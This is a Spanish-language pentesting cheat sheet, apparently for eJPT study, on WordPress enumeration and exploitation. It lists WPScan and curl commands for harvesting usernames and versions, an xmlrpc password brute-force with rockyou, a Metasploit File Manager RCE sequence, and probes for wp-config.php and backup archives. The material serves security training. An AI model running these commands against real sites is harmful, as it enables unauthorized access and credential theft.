> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-cheatsheet/enumeracion-y-explotacion-de-cms/enumeracion-de-un-wordpress.md).

# Enumeración de un Wordpress

## Enumeración con WPScan

#### Detección general:

```bash
wpscan --url http://TARGET
```

#### Enumerar usuarios:

```bash
wpscan --url http://TARGET --enumerate u
```

#### Enumerar plugins (con versiones):

```bash
wpscan --url http://TARGET --enumerate p
```

#### Enumerar temas:

```bash
wpscan --url http://TARGET --enumerate t
```

{% hint style="warning" %}
No uses `vp`, `vt` ni `ap` si no quieres depender de una API Key.
{% endhint %}

***

## Enumeración manual

#### Usuarios vía `/author=id`:

```bash
for i in {1..10}; do curl -s http://TARGET/?author=$i | grep -oP '(?<=/author/)[^/"]+'; done | sort -u
```

#### Versión por `readme.html`:

```bash
curl -s http://TARGET/readme.html | grep -i version
```

#### Meta Generator:

```bash
curl -s http://TARGET | grep -i generator
```

***

## xmlrpc.php

#### Verificar si está activo:

```bash
curl -s http://TARGET/xmlrpc.php
```

#### Ataque de login multicall (fuerza bruta):

```bash
wpscan --url http://TARGET -P /usr/share/wordlist/rockyou.txt -U <nombre> --force
```

{% hint style="success" %}
xmlrpc permite múltiples intentos de login en una sola petición.
{% endhint %}

***

## Explotación con Metasploit

#### Plugin vulnerable detectado (ejemplo: File Manager)

```bash
msfconsole
use exploit/unix/webapp/wp_file_manager_rce
set RHOSTS TARGET
set TARGETURI /
exploit
```

***

## Archivos sensibles

```bash
curl -I http://TARGET/wp-config.php
curl -I http://TARGET/.zip
curl -I http://TARGET/backup.tar.gz
```

***

## Buscar exploits con searchsploit

```bash
searchsploit wordpress file upload
searchsploit wp plugin_name
```
